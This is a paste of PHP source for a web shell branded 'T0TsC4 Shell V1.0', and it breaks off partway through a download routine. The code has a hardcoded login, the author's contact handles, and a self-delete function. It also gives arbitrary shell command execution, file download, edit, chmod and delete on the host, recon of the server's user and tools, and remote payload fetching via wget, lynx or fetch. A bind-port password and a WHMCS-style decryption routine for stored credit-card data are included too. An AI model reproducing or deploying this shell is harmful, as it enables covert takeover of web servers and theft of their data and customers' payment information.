· 5 years ago · Feb 15, 2020, 05:00 AM
1
2$uselogin = 1;
3$user = '3MiR4';
4$pass = 'TOTSCA';
5$color = "#00ff00";
6if($_POST['id']== 'logout')
7{
8 Logout();
9}
10if($_POST['id'] == 100)
11{
12 echo "<body onload='Suicide();'>";
13}
14if($_POST['id'] == 'Delete')
15{
16 Suicide();
17}
18
19if ($uselogin ==1)
20{
21 if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass))
22 {
23 if($_POST[usrname]==$user && $_POST[passwrd]==$pass)
24 {
25 print'<script>document.cookie="user='.$_POST[usrname].';";document.cookie="pass='.md5($_POST[passwrd]).';";</script>';
26 }
27 else
28 {
29 if($_POST['usrname'])
30 {
31 print'<script>alert(" LOL :v ");</script>';
32 }
33 echo '
34
35 <head>
36 <style>
37@import url("https://fonts.googleapis.com/css?family=Anton|Exo|Orbitron:700&display=swap");
38</style>
39 <style>
40 title {
41 font-weight: bold;
42 letter-spacing: 1px;
43 font-family: Exo, sans-serif;
44 color: #00fcff;
45 font-size: 20px;
46 text-shadow: 8px 8px 8px color:#ff0c00;
47 }
48
49
50 .k2ll33d2 {
51 text-align: center;
52 letter-spacing: 1px;
53 font-family: Orbitron;
54 color: #fafcfa;
55 font-size: 25px;
56 text-shadow: -4px 0px 1px #f20505;
57 }
58 .inputz,
59option {
60 outline: none;
61 transition: all 0.20s ease-in-out;
62 -webkit-transition: all 0.20s ease-in-out;
63 -moz-transition: all 0.20s ease-in-out;
64 border: 1px solid rgba(0, 0, 0, 0.2);
65 background: #111111;
66 border: 0;
67 padding: 2px;
68 border-bottom: 1px solid #393939;
69 font-size: 11px;
70 color: #ffffff;
71 -moz-border-radius: 6px;
72 border-radius: 12px;
73 border: 1px solid #4C83AF;
74 margin: 4px 0 8px 0;
75}
76.inputz2 {
77 box-shadow: 0px 5px 24px -13px red;
78 border-radius: 12px;
79}
80
81 .mybox {
82 -moz-border-radius: 10px;
83 border-radius: 10px;
84 border: 1px solid #EC4D00;
85 padding: 4px 2px;
86 width: 70%;
87 line-height: 24px;
88 background: #111111;
89 box-shadow: 0px 4px 2px white;
90 -webkit-box-shadow: 0px 4px 2px #ffffff;
91 -moz-box-shadow: 0px 4px 2px #ffffff;
92 }
93
94
95 body {
96 background: #060606 url(https://stefanjugovic.com/wp-content/uploads/2019/10/videoblocks-network-on-a-black-background-cinematic-plexus-background-seamless-loop_hagskxz4rm_thumbnail-full01.png) repeat center center fixed;
97 }
98
99
100
101
102
103 * {
104 text-shadow: 1pt 1pt 0.08em rgb(254, 254, 255);
105 font-size: 11px;
106 font-family: Tahoma, Verdana, Arial;
107 color: #FFFFFF;
108 }
109
110
111
112 .login {
113 text-shadow: -3pt 0pt 0.1em rgb(233, 5, 5);
114 font-size: 15px;
115 font-family: Exo;
116 color: #fdfdfd;
117 font-family: "Exo", sans-serif;
118
119 }
120
121
122 .output2 {
123 margin: auto;
124 border: 1px solid #888888;
125 background: #000000;
126 padding: 0 2px;
127 }
128
129 textarea {
130 margin: auto;
131 border: 2px solid #555555;
132 background: #000000;
133 padding: 0 2px;
134 }
135
136
137
138
139
140 </style>
141 <body onLoad="document.getElementById(\'cmd\').focus();"><div class="main"><div class="head_info"> <table width="100%"><tr><td width="23%"><table class="b_tbl">
142 <style>
143#boxshadow {
144 position: relative;
145 -moz-box-shadow: 1px 2px 4px rgba(0, 0, 0,0.5);
146 -webkit-box-shadow: 1px 2px 4px rgba(0, 0, 0, .5);
147 box-shadow: 1px 2px 4px rgba(0, 0, 0, .5);
148 padding: 10px;
149}
150
151#boxshadow::after {
152 position: absolute;
153 z-index: -1; /* hide shadow behind image */
154 -webkit-box-shadow: 0 15px 20px rgba(0, 0, 0, 0.3);
155 -moz-box-shadow: 0 15px 20px rgba(0, 0, 0, 0.3);
156 box-shadow: 0 15px 20px rgba(0, 0, 0, 0.3);
157 width: 70%;
158 left: 15%; /* one half of the remaining 30% */
159 bottom: 0;
160}
161</style>
162 </head>
163 <center><h2 class="k2ll33d2">
164 Welcome To T0TsC4 Shell V1.0
165 </h2></center>
166
167 <title>Simple Page </title>
168 <body background="#040404">
169 <center><div id="boxshadow">
170 <img src="../FrontEndDic/2ndbg.png" class="inputz2" width="200" height="200">
171 </div>
172 <h2 class="login">
173 Please login
174 </h2></center>
175
176
177 <center><form method="POST" onSubmit="if(this.usrname.value==\'\'){return false;}">
178 <input class="inputz "dir="ltr" name="usrname" value="User" type="text" size="20" onFocus="if (this.value == \'User\'){this.value = \'\';}"/><br>
179 <input class="inputz" dir="ltr" name="passwrd" value="Password" type="password" size="20" onFocus="if (this.value == \'Password\') this.value = \'\';" /><br>
180 <br><input class="inputz" type="submit" value=" Login " name="login" />
181 </form></p>
182 <h4>TeleGram:KryPtoMaD</h4>
183 <h4>Email:TOTSCA@protonmail.com</h4>
184 <h4>ICq:HAKONAMATANA</h4>
185
186 </center>
187
188';
189 exit;
190 }
191 }
192}
193set_time_limit(0);
194error_reporting(0);
195if (isset($_GET["dl"]) && ($_GET["dl"] != ""))
196{
197 $file = $_GET["dl"];
198 $filez = @file_get_contents($file);
199 header("Content-type: application/octet-stream");
200 header("Content-length: " . strlen($filez));
201 header("Content-disposition: attachment;filename=" . basename($file) . ";");
202 echo $filez;
203 exit;
204}
205elseif (isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != ""))
206{
207 $file = $_GET['dlgzip'];
208 $filez = gzencode(@file_get_contents($file));
209 header("Content-Type:application/x-gzip\n");
210 header("Content-length: " . strlen($filez));
211 header("Content-disposition: attachment;filename=" . basename($file) . ".gz;");
212 echo $filez;
213 exit;
214}
215if (isset($_GET["img"]))
216{
217 @ob_clean();
218 $d = magicboom($_GET["y"]);
219 $f = $_GET["img"];
220 $inf = @getimagesize($d . $f);
221 $ext = explode($f, ".");
222 $ext = $ext[count($ext) - 1];
223 @header("Content-type: " . $inf["mime"]);
224 @header("Cache-control: public");
225 @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
226 @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
227 @readfile($d . $f);
228 exit;
229}
230$software = getenv("SERVER_SOFTWARE");
231if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = true;
232else $safemode = false;
233$system = @php_uname();
234if (strtolower(substr($system, 0, 3)) == "win") $win = true;
235else $win = false;
236if (isset($_GET['y']))
237{
238 if (@is_dir($_GET['view']))
239 {
240 $pwd = $_GET['view'];
241 @chdir($pwd);
242 }
243 else
244 {
245 $pwd = $_GET['y'];
246 @chdir($pwd);
247 }
248}
249if (!$win)
250{
251 if (!$user = rapih(exe("whoami"))) $user = "";
252 if (!$id = rapih(exe("id"))) $id = "";
253 $prompt = $user . " \$ ";
254 $pwd = @getcwd() . DIRECTORY_SEPARATOR;
255}
256else
257{
258 $user = @get_current_user();
259 $id = $user;
260 $prompt = $user . " >";
261 $pwd = realpath(".") . "\\";
262 $v = explode("\\", $d);
263 $v = $v[0];
264 foreach (range("A", "Z") as $letter)
265 {
266 $bool = @is_dir($letter . ":\\");
267 if ($bool)
268 {
269 $letters .= "<a href='?y=" . $letter . ":\\'>[ ";
270 if ($letter . ":" != $v)
271 {
272 $letters .= $letter;
273 }
274 else
275 {
276 $letters .= "<span class='gaya'>" . $letter . "</span>";
277 }
278 $letters .= " ]</a> ";
279 }
280 }
281}
282if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = true;
283else $posix = false;
284$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
285$my_ip = $_SERVER['REMOTE_ADDR'];
286$bindport = "13123";
287$bindport_pass = "k2ll33d";
288$pwds = explode(DIRECTORY_SEPARATOR, $pwd);
289$pwdurl = "";
290for ($i = 0;$i < sizeof($pwds) - 1;$i++)
291{
292 $pathz = "";
293 for ($j = 0;$j <= $i;$j++)
294 {
295 $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
296 }
297 $pwdurl .= "<a href='?y=" . $pathz . "'>" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
298}
299if (isset($_POST['rename']))
300{
301 $old = $_POST['oldname'];
302 $new = $_POST['newname'];
303 @rename($pwd . $old, $pwd . $new);
304 $file = $pwd . $new;
305}
306if (isset($_POST['chmod']))
307{
308 $name = $_POST['name'];
309 $value = $_POST['newvalue'];
310 if (strlen($value) == 3)
311 {
312 $value = 0 . "" . $value;
313 }
314 @chmod($pwd . $name, octdec($value));
315 $file = $pwd . $name;
316}
317if (isset($_POST['chmod_folder']))
318{
319 $name = $_POST['name'];
320 $value = $_POST['newvalue'];
321 if (strlen($value) == 3)
322 {
323 $value = 0 . "" . $value;
324 }
325 @chmod($pwd . $name, octdec($value));
326 $file = $pwd . $name;
327}
328$buff = " " . $software . "<br>";
329$buff .= " " . $system . "<br>";
330if ($id != "") $buff .= " " . $id . "<br>";
331if ($safemode) $buff .= " safemode : <b><font style='color:#DD4736'>ON</font></b><br>";
332else $buff .= " safemode : <b><font style='color:#00FF00'>OFF</font></b><br>";
333function showstat($stat)
334{
335 if ($stat == "on")
336 {
337 return "<b><font style='color:#00FF00'>ON</font></b>";
338 }
339 else
340 {
341 return "<b><font style='color:#ff0000'>OFF</font></b>";
342 }
343}
344function testmysql()
345{
346 if (function_exists('mysqli_connect'))
347 {
348 return showstat("on");
349 }
350 else
351 {
352 return showstat("off");
353 }
354}
355function testcurl()
356{
357 if (function_exists('curl_version'))
358 {
359 return showstat("on");
360 }
361 else
362 {
363 return showstat("off");
364 }
365}
366function testwget()
367{
368 if (exe('wget --help'))
369 {
370 return showstat("on");
371 }
372 else
373 {
374 return showstat("off");
375 }
376}
377function testperl()
378{
379 if (exe('perl -h'))
380 {
381 return showstat("on");
382 }
383 else
384 {
385 return showstat("off");
386 }
387}
388$buff .= " MySQL: " . testmysql() . " | Perl: " . testperl() . " | cURL: " . testcurl() . " | WGet: " . testwget() . "<br>";
389$buff .= " " . $letters . " > " . $pwdurl;
390function rapih($text)
391{
392 return trim(str_replace("<br>", "", $text));
393}
394function magicboom($text)
395{
396 if (!get_magic_quotes_gpc())
397 {
398 return $text;
399 }
400 return stripslashes($text);
401}
402function showdir($pwd, $prompt)
403{
404 $fname = array();
405 $dname = array();
406 if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = true;
407 else $posix = false;
408 $user = "????:????";
409 if ($dh = opendir($pwd))
410 {
411 while ($file = readdir($dh))
412 {
413 if (is_dir($file))
414 {
415 $dname[] = $file;
416 }
417 elseif (is_file($file))
418 {
419 $fname[] = $file;
420 }
421 }
422 closedir($dh);
423 }
424 sort($fname);
425 sort($dname);
426 $path = @explode(DIRECTORY_SEPARATOR, $pwd);
427 $tree = @sizeof($path);
428 $parent = "";
429 $buff = " <form action='?y=" . $pwd . "&x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='execute !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='" . $pwd . "' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='" . $pwd . "' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>NAME</th><th style='width:80px;'>SIZE</th><th style='width:210px;'>OWNER:GROUP</th><th style='width:80px;'>CHMOD</th><th style='width:110px;'>MODIFIED</th><th style='width:190px;'>ACTIONS</th></tr> ";
430 if ($tree > 2) for ($i = 0;$i < $tree - 2;$i++) $parent .= $path[$i] . DIRECTORY_SEPARATOR;
431 else $parent = $pwd;
432 foreach ($dname as $folder)
433 {
434 if ($folder == ".")
435 {
436 if (!$win && $posix)
437 {
438 $name = @posix_getpwuid(@fileowner($folder));
439 $group = @posix_getgrgid(@filegroup($folder));
440 $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
441 }
442 else
443 {
444 $owner = $user;
445 }
446 $buff .= "<tr><td><a href=\"?y=" . $pwd . "\">$folder</a></td><td>-</td>
447<td style=\"text-align:center;\">" . $owner . "</td>
448<td><center>" . get_perms($pwd) . "</center></td>
449<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">
450<a href=\"?y=$pwd&edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
451</span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
452<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
453<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
454<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
455</form></td></tr> ";
456 }
457 elseif ($folder == "..")
458 {
459 if (!$win && $posix)
460 {
461 $name = @posix_getpwuid(@fileowner($folder));
462 $group = @posix_getgrgid(@filegroup($folder));
463 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
464 }
465 else
466 {
467 $owner = $user;
468 }
469 $buff .= "<tr><td>
470<a href=\"?y=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAACXBIWXMAAArwAAAK8AFCrDSYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAANJSURBVHjafJTNa11FGMZ/73ycm4+T5Kb5NDFNYhuEVimNbQiILaJSd1IKrsSF/0BX8R9QUFeuupDSjejKnZYqLkQr2pZaSXGhyapEmzRNa3KT5vSee87MuDhz8SLYgYcZmOHH+84880ia5QnQBfRGpQFqw0pmGj48KGBXIAeyqMdACygBFxUAJM3yXqAfqAMHSkhHlcwvJPadq3lx4VEIG6qC7QI7cW5Dc6CIQC9plg8BQ8BYgHEjMvlSYs4PKpm50iw+2Q1hXcO+wLaGbeDvDuge0IxQJ2mWTwDjwMECJp63+s2jRp92wHLhllshPFLQbAbubnn/m4d1XcEeRHAjVtqSNMtngKkSpia0enUxMW8r0AGQDpVQNnzY+L1036w7f93AfWAzQneATNIsn/PwdK/I/IuJWepXMuaohgA63q6Paw/udlFeXi39lwY2qLQFNCTN8rkiMDpfM0tHtHqjyb/Dgdv2oZEIti7SRwQL+Jut8rM7zn8dgevAQ0mzfNbDU/1KFp+z+q1JpY57QAH3vN/5sVnesgo7odXQMWOetYIRYC+Ere+bxYctWBX4E9iUNMsngTEH4wqmnzH6tSNGn0mFnjXvN39olt9aobsAprSaXEjMSU0FvNEqL605f8VUld1tW6MerTFcwsABkcPHE30uIL3fNYuLVqgHSMtAciLRpw4bPaeAXwt3+Y/CfWqFDeAvSbM8jc6vR/P2OUgS6BvR6tCG82tS7Q2Wgf5Zq144Yc0rBrhVuK9WKthmG5YANaA7qgYkAbQH0REEjJQwOK3VwsnEnLUgvxTui9XCfW6FrXabKr66Aex/5gToA4aBsSLQf9Tqs8esPpND8VNefHDfhxu68ts9SbO8bSnVIRPVHVsfCTCsYfRUl10aE5m74/y1a63yYwUPo3m32rA2sNOrJt7lADDcgp5DRr++aPW7+4HNq3nxXiOElY6vtdMJ64Sq2GIPUC8hTUUOvlwzFxOwPxflR+su3LRVcmzH77T3JFgN6HHQ3QX10zV7oSZMXm+V72/6sGKqPNuN2gce/x9MA4mHZEDJ6Lw153NC1+1WeWkvsGeqM1kbEmOoeBLMeDDDSmZ7RabXnF/2YHVVddGRY612QP4zAI/Wbtn9fTDjAAAAAElFTkSuQmCC'></a></td><td>-</td>
471<td style=\"text-align:center;\">" . $owner . "</td>
472<td><center>" . get_perms($parent) . "</center></td> <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>
473<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
474<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
475<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
476<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
477<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
478</form></td></tr>";
479 }
480 else
481 {
482 if (!$win && $posix)
483 {
484 $name = @posix_getpwuid(@fileowner($folder));
485 $group = @posix_getgrgid(@filegroup($folder));
486 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
487 }
488 else
489 {
490 $owner = $user;
491 }
492 $buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAMQSURBVHjaPM9LaFx1GIbx53/OnLlnLkmcpJ2ZTOzQpG0smogLLYqkaMG2xlqLFhQXFRRNEaTQRdF62bj3UgR3tlDQgqUiXkBcqFHTFpp7k2YyNtSYi8nMOLeTOed8Luak7/rjx/coEWH3Hqi/Ao8N0RbR6WoIqupg/1ll7qZJFVAIomngE/D+DqlzMDEJSkQIfwK7HkY7lODl1QaNgoMT1GjVFJ4Fk1kF6CARDRONOyNF5gu/YRWHXWDbS9D5FsaT7bw2UeXX3CYq66c/42VQBBsQj2IzqIFPoU3XeffGWW7fvOACHWeh51niD8Y5tWaxXnGIVh18UzVGaw6mAuVAoctL9UCE12/V+fDaeWYX3nOB6FfQ10OiO8TzP5SYtITtjhB2QAMQEEsoJAwqx+K8MF7m9LVpFtePukByGILPENh7L2/+XKRiOkR1RVSB2gIcoRTzYA610j/+NyfnLrC29JELtJyDUA881MXJq2XSZYuErhFDaE6BLRTDOqtPt9L27xrDjVkql4+7QOIitARh7x6eG6/y+KpJxqtISTNBFNAQ7gQ8TB+JIWE4HfPjnNnmAvtOAHEInWCnqThVsukxoE9XBAFsodaAqaBi7v4Alzs0rng0OJN2Ad9oM9RQoAwO2MK+jM6xRwx2acBIg/mczUVDcTUJV3aHsAEu7XSBwFPvoNkhjP1HaDzQMqhq5vFwNDL48Y7WHV4Fb+Q2bq8Xiz8pr/GlPlX7tv7d11iqhP39+01AKYUO3enuzKdGtm//cv8T3tLKGodffBWvR+fSF58RjkXovDVqycQfvyzm88ObwqSINAFd12OpdPp8S8B/sKF7qT06RCWUoBzvBKUIbfxDsLZOaOQbPOUCpu1cz+fzhyzLWtr6IJFMJj8fGBg4HA4GQAQrHMXSvQB4HAtPuQBAtW4yNjY2urCwcFREFu8mAKn29vYPent7D2az2Xu2d3YQi0RQSlEs/cfS8jLzudzGzMzMjysrK28Ds3cTXGBrKaXUfT6fL+P3+9sAZZrmhmmaecdxJoG/tg5FhP8HAPJFafDS/x8SAAAAAElFTkSuQmCC' /> $folder</a>
493<form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
494<input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />
495<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" />
496<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
497<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />
498</form> </td><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
499<a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>
500<form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
501<input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />
502<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)) , -4) . "\" />
503<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
504<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
505onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a>| <a href=\"?y=$pwd&fdelete=" . $pwd . $folder . "\">delete</a>
506</td>
507</tr>";
508 }
509 }
510 foreach ($fname as $file)
511 {
512 $full = $pwd . $file;
513 if (!$win && $posix)
514 {
515 $name = @posix_getpwuid(@fileowner($file));
516 $group = @posix_getgrgid(@filegroup($file));
517 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
518 }
519 else
520 {
521 $owner = $user;
522 }
523 $buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y=$pwd&view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAPuSURBVHjaXNJNbFRlFMbx/3vvna87M51pGQrpTGGgggq1UCwaAgGCmlhDDFFQNi5c4Na1iW5caOJG3ZgY4kZlg18RRCSBCsZSoWi1MH5MRArTlmEoTDtfvXfm3ve4QGDiWb7J+eXN8xwlIgBkDqCqe6HRifRHCQyG6QlBVEAElAu60OLG2QYLjoDpI9EKRL8Ao45MfwzqLmaMoCSOsi30vgQbui2G65qKgNKgYwarDWh+V+H9iw4LKDwUmEW0WUXcF9swdRZFCCsMak+C7Z6Q+rHBuBaCQHPIZutDEZ4qtjg1UuFIsYVDFImfxk2eRq4dRu5j32PQQcgQIrvibAwY9J1cYMIHUwS9PkLfUJRtSYulk3U+HKkxQRQvfpx68iRy7dt27BwGJjGE5GCUdUstNv3hMBtSRJQCC4wOk2gmyPJbLc6fqTEmQSr2BAvRCXTpvfbMRjEkQCeKFX1hHsmGeLQl2J0WqbslzHvMmVC95ZG/1GBcNAUM5jDRsqkNC3+OctOkMNmQDrF5dYj111zmAwaWUigAx6fZGyZZanLlssOoePwWLFHEA/f5NizyGThpOjHZsiTAjgciDHpCMGESBzRgVDV1E9xCk9yMwwg+Y8EiN5UHzgvtbZ4DJYRF2BYL8OTDNjvLLSzTwDIE0QrDE7wlFvpvh9HbLieU4gcxqAPIY+2ZjQEKBDaFDJ5ZF2VYNL1hk7BWmAaI47NoGRT/anCi6nNUGZxHEADdjgVOAQJejLRl8Gx/lN2iGfQh0aWIzAuuD/O2Se5SjWOLmi8NzVWCAOAPtf/slzuPAkGEHV0BtvYF2L3RYmOviTnro3/1yF3x+OZGk1GEEQKyqC5PQbOJ3v9gWwEvvUEQTaR/kMWhbcOqWtvTjCUff3XFkoGXE0odroi8U7j9p6ou/KTCgWPa0V+ZRw7qyqF3EbeBFrmPxZTCDrGzu3fl697A9i2ltZvtcqFA//A+Xtm6mU8uXGT8609JLF9O9/W8Y10am6j88/vb16utoxqQdqyrq+u5RCL5kTiNpPT2Udu1n3q5RrM7A+nVqNmrWMWr2J1x4heOY148B7GO5ny5vKfVap2p1WqNe1hPT89ba9asec20LDxnET+Zwl25DtfuoOVDwFQEnSqhQh7r5ixWOIxSisnJyTfL5fIhz/Py9zDLsp7IZrMfDAwMrF22bBl2KIgp+s7pqzvNAPhKsdjyKZVK5HK56/l8fq/v+z+LiHv/aJUCWGXb9oFMJvN0NptdlUmnY6lUyorYNq7rMjc358/MzNSnpqYK09PTJ6vV6kEgx/8z+w+7OzEgC/QqpZYqpcIi0hSRW0ABmALm2xdEhH8HAMq6+erIzOgqAAAAAElFTkSuQmCC' /> $file</a>
524<form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
525<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /><input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" /><input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /><input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />
526</form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
527<a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>
528<form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
529<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
530<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)) , -4) . "\" />
531<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
532<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>
533<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td>
534<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a>| <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gz</a>)
535</td></tr>";
536 }
537 $buff .= "</table>";
538 return $buff;
539}
540function ukuran($file)
541{
542 if ($size = @filesize($file))
543 {
544 if ($size <= 1024) return $size;
545 else
546 {
547 if ($size <= 1024 * 1024)
548 {
549 $size = @round($size / 1024, 2);;
550 return "$size kb";
551 }
552 else
553 {
554 $size = @round($size / 1024 / 1024, 2);
555 return "$size mb";
556 }
557 }
558 }
559 else return "???";
560}
561function decrypt ($string,$cc_encryption_hash)
562{
563
564 $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
565 $hash_key = _hash ($key);
566 $hash_length = strlen ($hash_key);
567 $string = base64_decode ($string);
568 $tmp_iv = substr ($string, 0, $hash_length);
569 $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
570 $iv = $out = '';
571 $c = 0;
572 while ($c < $hash_length)
573 {
574 $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
575 ++$c;
576 }
577
578 $key = $iv;
579 $c = 0;
580 while ($c < strlen ($string))
581 {
582 if (($c != 0 AND $c % $hash_length == 0))
583 {
584 $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
585 }
586
587 $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
588 ++$c;
589 }
590
591 return $out;
592}
593function _hash ($string)
594{
595 if (function_exists ('sha1'))
596 {
597 $hash = sha1 ($string);
598 }
599 else
600 {
601 $hash = md5 ($string);
602 }
603
604 $out = '';
605 $c = 0;
606 while ($c < strlen ($hash))
607 {
608 $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
609 $c += 2;
610 }
611
612 return $out;
613}
614function exe($cmd)
615{
616 if (function_exists('system'))
617 {
618 @ob_start();
619 @system($cmd);
620 $buff = @ob_get_contents();
621 $buff = @ob_get_contents();
622 @ob_end_clean();
623 return $buff;
624 }
625 elseif (function_exists('exec'))
626 {
627 @exec($cmd, $results);
628 $buff = "";
629 foreach ($results as $result)
630 {
631 $buff .= $result;
632 }
633 return $buff;
634 }
635 elseif (function_exists('passthru'))
636 {
637 @ob_start();
638 @passthru($cmd);
639 $buff = @ob_get_contents();
640 @ob_end_clean();
641 return $buff;
642 }
643 elseif (function_exists('shell_exec'))
644 {
645 $buff = @shell_exec($cmd);
646 return $buff;
647 }
648}
649function tulis($file, $text)
650{
651 $textz = gzinflate(base64_decode($text));
652 if ($filez = @fopen($file, "w"))
653 {
654 @fputs($filez, $textz);
655 @fclose($file);
656 }
657}
658function ambil($link, $file)
659{
660 if ($fp = @fopen($link, "r"))
661 {
662 while (!feof($fp))
663 {
664 $cont .= @fread($fp, 1024);
665 }
666 @fclose($fp);
667 $fp2 = @fopen($file, "w");
668 @fwrite($fp2, $cont);
669 @fclose($fp2);
670 }
671}
672function which($pr)
673{
674 $path = exe("which $pr");
675 if (!empty($path))
676 {
677 return trim($path);
678 }
679 else
680 {
681 return trim($pr);
682 }
683}
684function download($cmd, $url)
685{
686 $namafile = basename($url);
687 switch ($cmd)
688 {
689 case 'wwget':
690 exe(which('wget') . " " . $url . " -O " . $namafile);
691 break;
692 case 'wlynx':
693 exe(which('lynx') . " -source " . $url . " > " . $namafile);
694 break;
695 case 'wfread':
696 ambil($wurl, $namafile);
697 break;
698 case 'wfetch':
699 exe(which('fetch') . " -o " . $namafile . " -p " . $url);
700 break;
701 case 'wlinks':
702 exe(which('links') . " -source " . $url . " > " . $namafile);
703 break;
704 case 'wget':
